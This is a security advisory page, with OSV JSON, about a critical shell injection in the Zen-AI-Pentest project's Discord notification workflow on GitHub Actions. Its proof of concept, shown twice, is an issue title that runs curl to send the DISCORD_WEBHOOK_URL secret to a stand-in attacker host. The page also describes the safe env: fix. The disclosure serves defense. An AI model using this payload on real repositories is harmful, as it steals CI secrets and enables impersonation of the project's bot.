GHSA-f67f-hcr6-94mf: SHAdd0WTAka/Zen Ai Pentest Zen-AI-Pentest Has Shell Injection Vulnerability

CRITICAL
CVSS 10.0
CWE-78
Published
Advisory Summary

GHSA-f67f-hcr6-94mf is a CRITICAL (CVSS 10.0) zen-ai-pentest has shell injection vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting SHAdd0WTAka/Zen Ai Pentest libraries in the GitHub Actions ecosystem. The issue involves zen-ai-pentest has shell injection via untrusted issue title in zenclaw discord integration workflow. Remediation is available in the latest vendor maintenance releases.

GHSA-f67f-hcr6-94mf at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-f67f-hcr6-94mf
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product SHAdd0WTAka/Zen Ai Pentest
Package Ecosystem GitHub Actions
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix GHSA-f67f-hcr6-94mf

To remediate this vulnerability, upgrade all affected SHAdd0WTAka/Zen Ai Pentest dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

SHAdd0WTAka/Zen-Ai-Pentest fixed: Latest secure release
Upgrade SHAdd0WTAka/Zen-Ai-Pentest to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for SHAdd0WTAka/Zen-Ai-Pentest

How to Check if You Are Affected

To determine whether your application is affected by GHSA-f67f-hcr6-94mf, inspect your project dependencies for SHAdd0WTAka/Zen Ai Pentest:

inspect dependencies for SHAdd0WTAka/Zen-Ai-Pentest

Analyze the terminal output to locate any version of SHAdd0WTAka/Zen Ai Pentest in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In SHAdd0WTAka/Zen Ai Pentest, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `ZenClaw Discord Integration` GitHub Actions workflow is vulnerable to shell command injection. The issue title field, controllable by any GitHub user, is interpolated directly into a `run` shell block via a GitHub Actions template expression. An attacker can craft an issue title containing a subshell expression that executes arbitrary commands on the runner during variable assignment, enabling exfiltration of the `DISCORD_WEBHOOK_URL` secret. The trigger requires no repository privileges. ## Affected Component **File:** `.github/workflows/zenclaw-discord.yml` **Commit:** `07e65c72656a8213fc9ece2b3f4fc719032cfc5d` **URL:** `https://github.com/SHAdd0WTAka/Zen-Ai-Pentest/blob/07e65c72656a8213fc9ece2b3f4fc719032cfc5d/.github/workflows/zenclaw-discord.yml` **Step:** `Prepare Notification` **Trigger:** `issues: [opened]` — no repository privileges required --- ## Description In the `Prepare Notification` step, the issue title is assigned to a shell variable using direct GitHub Actions template interpolation inside a `case` block: ```bash issues) ... DESCRIPTION="${{ github.event.issue.title }}" ;; ``` The GitHub Actions template engine resolves `${{ github.event.issue.title }}` **at workflow compilation time**, embedding the raw issue title as literal text in the bash script before execution. The value is assigned inside a double-quoted string, which in bash evaluates subshell expressions of the form `$(...)` and backtick expressions `` `...` `` at runtime. Although a subsequent sanitization step is applied: ```bash DESCRIPTION=$(echo "$DESCRIPTION" | tr '\n' ' ' | cut -c1-1000) ``` This sanitization runs **after** the assignment — the subshell in the title has already executed by the time `tr` and `cut` process the output. The sanitization is therefore ineffective as a security control against command injection. The resulting `DESCRIPTION` value is then written to `$GITHUB_OUTPUT`: ```bash echo "description=$DESCRIPTION" >> $GITHUB_OUTPUT ``` This additional write is performed without a multiline-safe delimiter, enabling a secondary `$GITHUB_OUTPUT` injection if the title contains a newline, which could overwrite downstream output variables such as `color` or `title`. --- ## Attack Vector 1. Any GitHub user (no repository role required) opens an issue with a malicious title. 2. The `issues: opened` trigger fires automatically — no human interaction or approval needed. 3. The subshell expression in the title executes during variable assignment in the `Prepare Notification` step. 4. The injected command runs with access to all secrets available to the runner. --- ## Proof of Concept An attacker opens an issue with the following title: ``` bug$(curl -s "https://attacker.example.com/exfil?wh=$(printenv DISCORD_WEBHOOK_URL | base64 -w0)") ``` The rendered bash assignment becomes: ```bash DESCRIPTION="bug$(curl -s "https://attacker.example.com/exfil?wh=$(printenv DISCORD_WEBHOOK_URL | base64 -w0)")" ``` The subshell executes during assignment, sending the base64-encoded `DISCORD_WEBHOOK_URL` to the attacker's server before the sanitization step runs. The attacker can then use the stolen webhook URL to send arbitrary messages to the Discord channel impersonating the legitimate bot. --- ## Impact - **Confidentiality (High):** Exfiltration of `DISCORD_WEBHOOK_URL`, granting the attacker the ability to send arbitrary messages to the Discord channel indefinitely, impersonating the ZenClaw bot. - **Integrity (High):** With the webhook URL, an attacker can post false security alerts, fake workflow failure notifications, or misleading status updates to the Discord channel, potentially causing incident response actions based on fabricated data. - **Availability (None):** No direct availability impact. --- ## Recommended Fix Pass all user-controlled event fields as environment variables and reference them via shell variables in the `run` block. Never use `${{ }}` expressions inside `run` blocks for user-controlled data. **Vulnerable pattern:** ```yaml run: | DESCRIPTION="${{ github.event.issue.title }}" ``` **Safe pattern — declare in `env:`, reference as shell variable:** ```yaml - name: Prepare Notification id: prep env: ISSUE_TITLE: ${{ github.event.issue.title }} COMMIT_MSG: ${{ github.event.head_commit.message }} WORKFLOW_NAME: ${{ github.event.workflow_run.name }} DISPATCH_MSG: ${{ github.event.inputs.message }} EVENT_ACTION: ${{ github.event.action }} WORKFLOW_CONCLUSION: ${{ github.event.workflow_run.conclusion }} run: | case "$EVENT" in issues) DESCRIPTION="$ISSUE_TITLE" ;; ... esac DESCRIPTION=$(echo "$DESCRIPTION" | tr '\n' ' ' | cut -c1-1000) ``` With values passed through `env:`, the Actions engine sets them as environment variables before the shell starts. Shell variable references (`$ISSUE_TITLE`) are expanded by bash at runtime without executing subshell expressions embedded in the value. --- ## References - [CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)](https://cwe.mitre.org/data/definitions/78.html) - [GitHub Actions Security Hardening — Understand the risk of script injections](https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections) - [Keeping your GitHub Actions and workflows secure: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)

GHSA-f67f-hcr6-94mf Affected SHAdd0WTAka/Zen Ai Pentest Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
SHAdd0WTAka/Zen-Ai-Pentest
GitHub Actions
≤ 3.0.0

References

Frequently Asked Questions

What is GHSA-f67f-hcr6-94mf?
GHSA-f67f-hcr6-94mf is a security vulnerability in SHAdd0WTAka/Zen Ai Pentest involving Zen-AI-Pentest has Shell Injection via untrusted issue title in ZenClaw Discord Integration workflow under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which SHAdd0WTAka/Zen Ai Pentest versions are affected?
Affected versions include releases prior to current release patches across affected packages: SHAdd0WTAka/Zen-Ai-Pentest.
What version fixes GHSA-f67f-hcr6-94mf?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is SHAdd0WTAka/Zen-Ai-Pentest affected?
Yes, SHAdd0WTAka/Zen-Ai-Pentest is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of GHSA-f67f-hcr6-94mf?
GHSA-f67f-hcr6-94mf has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N.
What CWE is associated with GHSA-f67f-hcr6-94mf?
GHSA-f67f-hcr6-94mf is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check GitHub Actions dependencies for GHSA-f67f-hcr6-94mf?
Run the dependency tree command: 'inspect dependencies for SHAdd0WTAka/Zen-Ai-Pentest'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f67f-hcr6-94mf",
  "modified" : "2026-03-20T21:47:37Z",
  "published" : "2026-03-20T21:47:37Z",
  "aliases" : [ ],
  "summary" : "Zen-AI-Pentest has Shell Injection via untrusted issue title in ZenClaw Discord Integration workflow",
  "details" : "## Summary\n\nThe `ZenClaw Discord Integration` GitHub Actions workflow is vulnerable to shell command injection. The issue title field, controllable by any GitHub user, is interpolated directly into a `run` shell block via a GitHub Actions template expression. An attacker can craft an issue title containing a subshell expression that executes arbitrary commands on the runner during variable assignment, enabling exfiltration of the `DISCORD_WEBHOOK_URL` secret. The trigger requires no repository privileges.\n\n## Affected Component\n\n**File:** `.github/workflows/zenclaw-discord.yml`  \n**Commit:** `07e65c72656a8213fc9ece2b3f4fc719032cfc5d`  \n**URL:** `https://github.com/SHAdd0WTAka/Zen-Ai-Pentest/blob/07e65c72656a8213fc9ece2b3f4fc719032cfc5d/.github/workflows/zenclaw-discord.yml`  \n**Step:** `Prepare Notification`  \n**Trigger:** `issues: [opened]` — no repository privileges required\n\n---\n\n## Description\n\nIn the `Prepare Notification` step, the issue title is assigned to a shell variable using direct GitHub Actions template interpolation inside a `case` block:\n\n```bash\nissues)\n  ...\n  DESCRIPTION=\"${{ github.event.issue.title }}\"\n  ;;\n```\n\nThe GitHub Actions template engine resolves `${{ github.event.issue.title }}` **at workflow compilation time**, embedding the raw issue title as literal text in the bash script before execution. The value is assigned inside a double-quoted string, which in bash evaluates subshell expressions of the form `$(...)` and backtick expressions `` `...` `` at runtime.\n\nAlthough a subsequent sanitization step is applied:\n\n```bash\nDESCRIPTION=$(echo \"$DESCRIPTION\" | tr '\\n' ' ' | cut -c1-1000)\n```\n\nThis sanitization runs **after** the assignment — the subshell in the title has already executed by the time `tr` and `cut` process the output. The sanitization is therefore ineffective as a security control against command injection.\n\nThe resulting `DESCRIPTION` value is then written to `$GITHUB_OUTPUT`:\n\n```bash\necho \"description=$DESCRIPTION\" >> $GITHUB_OUTPUT\n```\n\nThis additional write is performed without a multiline-safe delimiter, enabling a secondary `$GITHUB_OUTPUT` injection if the title contains a newline, which could overwrite downstream output variables such as `color` or `title`.\n\n---\n\n## Attack Vector\n\n1. Any GitHub user (no repository role required) opens an issue with a malicious title.\n2. The `issues: opened` trigger fires automatically — no human interaction or approval needed.\n3. The subshell expression in the title executes during variable assignment in the `Prepare Notification` step.\n4. The injected command runs with access to all secrets available to the runner.\n\n---\n\n## Proof of Concept\n\nAn attacker opens an issue with the following title:\n\n```\nbug$(curl -s \"https://attacker.example.com/exfil?wh=$(printenv DISCORD_WEBHOOK_URL | base64 -w0)\")\n```\n\nThe rendered bash assignment becomes:\n\n```bash\nDESCRIPTION=\"bug$(curl -s \"https://attacker.example.com/exfil?wh=$(printenv DISCORD_WEBHOOK_URL | base64 -w0)\")\"\n```\n\nThe subshell executes during assignment, sending the base64-encoded `DISCORD_WEBHOOK_URL` to the attacker's server before the sanitization step runs. The attacker can then use the stolen webhook URL to send arbitrary messages to the Discord channel impersonating the legitimate bot.\n\n---\n\n## Impact\n\n- **Confidentiality (High):** Exfiltration of `DISCORD_WEBHOOK_URL`, granting the attacker the ability to send arbitrary messages to the Discord channel indefinitely, impersonating the ZenClaw bot.\n- **Integrity (High):** With the webhook URL, an attacker can post false security alerts, fake workflow failure notifications, or misleading status updates to the Discord channel, potentially causing incident response actions based on fabricated data.\n- **Availability (None):** No direct availability impact.\n\n---\n\n## Recommended Fix\n\nPass all user-controlled event fields as environment variables and reference them via shell variables in the `run` block. Never use `${{ }}` expressions inside `run` blocks for user-controlled data.\n\n**Vulnerable pattern:**\n```yaml\nrun: |\n  DESCRIPTION=\"${{ github.event.issue.title }}\"\n```\n\n**Safe pattern — declare in `env:`, reference as shell variable:**\n```yaml\n- name: Prepare Notification\n  id: prep\n  env:\n    ISSUE_TITLE: ${{ github.event.issue.title }}\n    COMMIT_MSG: ${{ github.event.head_commit.message }}\n    WORKFLOW_NAME: ${{ github.event.workflow_run.name }}\n    DISPATCH_MSG: ${{ github.event.inputs.message }}\n    EVENT_ACTION: ${{ github.event.action }}\n    WORKFLOW_CONCLUSION: ${{ github.event.workflow_run.conclusion }}\n  run: |\n    case \"$EVENT\" in\n      issues)\n        DESCRIPTION=\"$ISSUE_TITLE\"\n        ;;\n      ...\n    esac\n    DESCRIPTION=$(echo \"$DESCRIPTION\" | tr '\\n' ' ' | cut -c1-1000)\n```\n\nWith values passed through `env:`, the Actions engine sets them as environment variables before the shell starts. Shell variable references (`$ISSUE_TITLE`) are expanded by bash at runtime without executing subshell expressions embedded in the value.\n\n---\n\n## References\n\n- [CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)](https://cwe.mitre.org/data/definitions/78.html)\n- [GitHub Actions Security Hardening — Understand the risk of script injections](https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections)\n- [Keeping your GitHub Actions and workflows secure: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "GitHub Actions",
      "name" : "SHAdd0WTAka/Zen-Ai-Pentest"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "3.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/SHAdd0WTAka/Zen-Ai-Pentest/security/advisories/GHSA-f67f-hcr6-94mf"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SHAdd0WTAka/Zen-Ai-Pentest/commit/26c4e07df780f11b7e901ad2d88b3dc5ce8a1aca"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/SHAdd0WTAka/Zen-Ai-Pentest"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-20T21:47:37Z",
    "nvd_published_at" : null
  }
}